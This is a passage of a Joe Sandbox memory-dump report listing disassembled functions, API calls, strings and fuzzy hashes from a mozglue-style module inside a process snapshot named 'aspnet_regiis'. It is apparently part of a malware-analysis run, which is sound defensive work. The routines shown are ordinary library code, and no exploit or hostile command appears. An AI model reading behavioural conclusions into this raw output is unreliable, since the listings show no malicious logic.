Part of subcall function 6C7ED130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C7ECDBA,00100000,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED158
Part of subcall function 6C7ED130: InitializeConditionVariable.KERNEL32(00000098,?,6C7ECDBA,00100000,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECDC4

Part of subcall function 6C7E7480: ReleaseSRWLockExclusive.KERNEL32(?,6C7F15FC,?,?,?,?,6C7F15FC,?), ref: 6C7E74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ECECC

Part of subcall function 6C7ACA10: mozalloc_abort.MOZGLUE(?), ref: 6C7ACAA2

Part of subcall function 6C7DCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C7ECEEA,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000), ref: 6C7DCB57
Part of subcall function 6C7DCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C7DCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C7ECEEA,?,?), ref: 6C7DCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?,00000000,?), ref: 6C7ED058

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 878f331c94cc6cfe26f6a7dae195a0eb2bc7263b7cf565deaa79994b3acec886
Instruction ID: ab89e100123472adada6793740c5994819ecb81997eb182e78fd5a7ebb2ee305
Opcode Fuzzy Hash: 878f331c94cc6cfe26f6a7dae195a0eb2bc7263b7cf565deaa79994b3acec886
Instruction Fuzzy Hash: FBD17176A04B069FD708CF28C580B99F7E1BF99308F05862DD8598B752EB31E955CBC1

Function 6C7A1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C7A17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C7A18EE
free.MOZGLUE(?), ref: 6C7A1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7A194C

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 52fddec07e8782d8b0c86baff3d6f4784655e7482d74b59000cd93ce6447e08a
Instruction ID: 9b0210907a4ae44b179f9a5b54262a6f2619754cf4cc5761ae33e960d077b495
Opcode Fuzzy Hash: 52fddec07e8782d8b0c86baff3d6f4784655e7482d74b59000cd93ce6447e08a
Instruction Fuzzy Hash: 5B81C470A11305DFEB08CFA8D9949AEBBB1FF89314F04462CE815AB755D730E845CBA2

Function 6C7B5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C7B5D40
EnterCriticalSection.KERNEL32(6C81F688), ref: 6C7B5D67
__aulldiv.LIBCMT ref: 6C7B5DB4
LeaveCriticalSection.KERNEL32(6C81F688), ref: 6C7B5DED

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: d36a448bffb01140e8ca68bea5a8a6b9e9d423f0201b2a1411a8a401a2c6fba7
Instruction ID: 1d64ec5c442db8ccfb94e7a17715be4793389f8c1a8222934fe2ab0414f457a8
Opcode Fuzzy Hash: d36a448bffb01140e8ca68bea5a8a6b9e9d423f0201b2a1411a8a401a2c6fba7
Instruction Fuzzy Hash: 92516C71E0021A8FCF18CF68C996AAEBBB1BB95308F194629D815B7B51C7706D45CBD0

Function 6C79CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C79CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C79CF4E

Strings

0, xrefs: 6C79CF30

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 51ad183619de2bf521569a3f5e0149bde4841601fcb6327daa62fcfe90911a31
Instruction ID: 9c05de48745d7a43cc84d82055589a09fc164d8ffaaa2857fe575a50be5c1156
Opcode Fuzzy Hash: 51ad183619de2bf521569a3f5e0149bde4841601fcb6327daa62fcfe90911a31
Instruction Fuzzy Hash: EF511276A002568FCB00CF18D890AAABBB5FF99304F19859DD85A5F752D731ED06CBE0

Function 6C7F77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C7F7829

Part of subcall function 6C7CCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C7931A7), ref: 6C7CCC45
Part of subcall function 6C7CCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C7931A7), ref: 6C7CCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C7F789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C7F78CF

Part of subcall function 6C794DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C794E5A
Part of subcall function 6C794DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C794E97

Part of subcall function 6C794290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C7D3EBD,6C7D3EBD,00000000), ref: 6C7942A9

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: e39e1acb42ed8b597624d7b98d7978b6fc019dd784fafbc0199ab86db1207c70
Instruction ID: a73b8059b1d24efd94435f10ca7bdf0b081ed93bccde32d6a0ac733f8bce7fa5
Opcode Fuzzy Hash: e39e1acb42ed8b597624d7b98d7978b6fc019dd784fafbc0199ab86db1207c70
Instruction Fuzzy Hash: 2141BE719047468FD300DF29C48456AFBF4FF8A258F204A2DE4A987741DB30E55ACBD2

Function 6C7D6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7D82BC,?,?), ref: 6C7D649B

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D64A9

Part of subcall function 6C7CFA80: GetCurrentThreadId.KERNEL32 ref: 6C7CFA8D
Part of subcall function 6C7CFA80: AcquireSRWLockExclusive.KERNEL32(6C81F448), ref: 6C7CFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7D653F
free.MOZGLUE(?), ref: 6C7D655A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: fb5ca3138d8d319692306e90a186a88bff8601bcdb402993d197eaf1826d1d0b
Instruction ID: aea66cd02b2e95b7788b1acf9bab297d1f21fd080245c2454d02a61cc273da3f
Opcode Fuzzy Hash: fb5ca3138d8d319692306e90a186a88bff8601bcdb402993d197eaf1826d1d0b
Instruction Fuzzy Hash: CE3181B5A043059FD700CF14D988A9ABBE4FF89314F10482DE85A97741D734FA19CBD2

Function 6C7CFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?), ref: 6C7CFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?), ref: 6C7CFFF5
free.MOZGLUE(?,?,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?), ref: 6C7D001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C7ED019,?,?,?,?,?,00000000,?,6C7DDA31,00100000,?,?), ref: 6C7D002A

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: f6a7d1c35578de38a8007ccb870ccb02fa445a10c2ddd90a0f7f910790715b01
Instruction ID: 6c36abbe1ab04d565708a6e37b058590c5558377572f1cc2082a34392453db18
Opcode Fuzzy Hash: f6a7d1c35578de38a8007ccb870ccb02fa445a10c2ddd90a0f7f910790715b01
Instruction Fuzzy Hash: 3021D6B2B002165FC7189E7CDD948AFB7BAFB853247250738E425D7781EA70AD0186E1

Function 6C7AB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7AB4F5
AcquireSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7AB502
ReleaseSRWLockExclusive.KERNEL32(6C81F4B8), ref: 6C7AB542
free.MOZGLUE(?), ref: 6C7AB578

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: e37163061e391a51fb934bcfa061ceecedf41fd73d53d661b45c6afc26b41c04
Instruction ID: 9e7e6ea9e1c7a693e1d398a01c8e2cf5e1338ad300d4c5b02949bd328501a40b
Opcode Fuzzy Hash: e37163061e391a51fb934bcfa061ceecedf41fd73d53d661b45c6afc26b41c04
Instruction Fuzzy Hash: 9811AE30904B46C7D3228F69C604762B3F5FFA6318F10572AE84953E01EBB0B1C6C790

Function 6C7D3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C79F20E,?), ref: 6C7D3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C79F20E,00000000,?), ref: 6C7D3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C7D3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C7D3E0E

Part of subcall function 6C7CCC00: GetCurrentProcess.KERNEL32(?,?,6C7931A7), ref: 6C7CCC0D
Part of subcall function 6C7CCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C7931A7), ref: 6C7CCC16

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 7e31d721777a08e3b23430b25204c260577d2716196ef7103dc24a9046ff3d26
Instruction ID: eb9280b5dab19eb0fc8468b6e4ad8b9f3acb3d16726ff81924d1dda2f1f36c9d
Opcode Fuzzy Hash: 7e31d721777a08e3b23430b25204c260577d2716196ef7103dc24a9046ff3d26
Instruction Fuzzy Hash: E0F01CB1A002097FEB10AB54DC86DBB376DEB46628F050035FE0857B41D635BE2A86F7

Function 6C7E2050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7E205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C7E201B,?,?,?,?,?,?,?,6C7E1F8F,?,?), ref: 6C7E2064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C7E208E
free.MOZGLUE(?,?,?,00000000,?,6C7E201B,?,?,?,?,?,?,?,6C7E1F8F,?,?), ref: 6C7E20A3

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6d856774c32184db18cbc94e67c52dd63cd23bcdded9e3c6f8d7d193ed38385e
Instruction ID: bae8b636ad113f1e3dbf00b0b4b62b4b6b752c934b94c87831d726a3e90b7989
Opcode Fuzzy Hash: 6d856774c32184db18cbc94e67c52dd63cd23bcdded9e3c6f8d7d193ed38385e
Instruction Fuzzy Hash: 7FF0E9B21007119BC7218F16D88DB6BBBF8EF8A368F10012EF50687B10DB71A906CBD5

Function 6C7E85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C7E85D3

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C7E8725

Strings

map/set<T> too long, xrefs: 6C7E8720

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 1679eb8f07cae594f8f01abe52718704002f5bda26ddb6a66f270ae82fb8005d
Instruction ID: 98552c683fb16c409fe1725ec830e34ea0f638aff55c4e6f76d801873c8e0f7e
Opcode Fuzzy Hash: 1679eb8f07cae594f8f01abe52718704002f5bda26ddb6a66f270ae82fb8005d
Instruction Fuzzy Hash: BA516776604641CFD701CF29C288B56BBF1BF4A318F18C2AAD8595BB52C375E885CF92

Function 6C79BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C79BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C79BE8F

Strings

0, xrefs: 6C79BE5B

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 28649d1183fc345494b5b19fc8ca95ec06c896b4eecd740542ae2821061a3aab
Instruction ID: 8320a314df6afb5ee7c1d7f88aef848c2b0cf644ced70bc8e34bcd4b0fade4c9
Opcode Fuzzy Hash: 28649d1183fc345494b5b19fc8ca95ec06c896b4eecd740542ae2821061a3aab
Instruction Fuzzy Hash: 1D41A271909745CFC721CF78D581A9BB7F8AF8A348F004A2DF98557611D730E9598B82

Function 6C7D3CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7D3D19
mozalloc_abort.MOZGLUE(?), ref: 6C7D3D6C

Strings

d, xrefs: 6C7D3D58

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: b196ca188054d4eb3b2eb5e098981d53deace5cb0be2aa9ab338224f8d9c6f10
Instruction ID: c4e907e6347f318030c39ac2b79d3dd756dd5934aa05430e20c7c17f813a98f4
Opcode Fuzzy Hash: b196ca188054d4eb3b2eb5e098981d53deace5cb0be2aa9ab338224f8d9c6f10
Instruction Fuzzy Hash: AF110435F046899BDB108F69C91A4EDB775EF86318F46822DEC459BA02EB30B584C790

Function 6C7A4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7A44B2,6C81E21C,6C81F7F8), ref: 6C7A473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C7A474A

Strings

GetNtLoaderAPI, xrefs: 6C7A4744

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: a23f3a932f397e9697938e5ca56b88c7160c0d3f61cae6756bec91ade0ff097e
Instruction ID: c1ba505aea9898fce71d6d540be8da2e25dc80e503ccc02c94f787c3ad70c8d5
Opcode Fuzzy Hash: a23f3a932f397e9697938e5ca56b88c7160c0d3f61cae6756bec91ade0ff097e
Instruction Fuzzy Hash: D101CC757002558FDF209FB69999A297BF9EB8A328B044039E905C7B00CB74E802CFD1

Function 6C7F6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C7F6E22
__Init_thread_footer.LIBCMT ref: 6C7F6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C7F6E1D

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 6f1bcd50f3f006f294eb251033f9f02f04a8956d0bacf40dbfe269a2b1d9a630
Instruction ID: bf7a145418aa02747a74af6cfbeac363879f609adbf35bb22a6519cde4ae6aa6
Opcode Fuzzy Hash: 6f1bcd50f3f006f294eb251033f9f02f04a8956d0bacf40dbfe269a2b1d9a630
Instruction Fuzzy Hash: F5F0247A6092439FDA209B68CB96A8177F5633322CF040575C42847F51C721AE87DAD3

Function 6C7A9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C7A9EEF

Strings

Infinity, xrefs: 6C7A9EB7
NaN, xrefs: 6C7A9EC1

Memory Dump Source

Source File: 00000003.00000002.3402785272.000000006C791000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C790000, based on PE: true

Associated: 00000003.00000002.3402710092.000000006C790000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402949769.000000006C81E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.3402999327.000000006C822000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c790000_aspnet_regiis.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: d21276d75f7c08e6594223bf28e88e843a59a429a1c14aa6650facb670d28455
Instruction ID: ee6a82d4a2064cc68388982c4affb5518f1c36793e0b8b53c8e04c26f9def34d
Opcode Fuzzy Hash: d21276d75f7c08e6594223bf28e88e843a59a429a1c14aa6650facb670d28455
Instruction Fuzzy Hash: CBF06DB17286438AEB208F98DA4A66073F1A33731EF100A39E50406F41D736659ACAC2

Function 6C7A6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K}l,?,6C7D4B30,80000000,?,6C7D4AB7,?,6C7943CF,?,6C7942D2), ref: 6C7A6C42

Part of subcall function 6C7ACA10: malloc.MOZGLUE(?), ref: 6C7ACA26

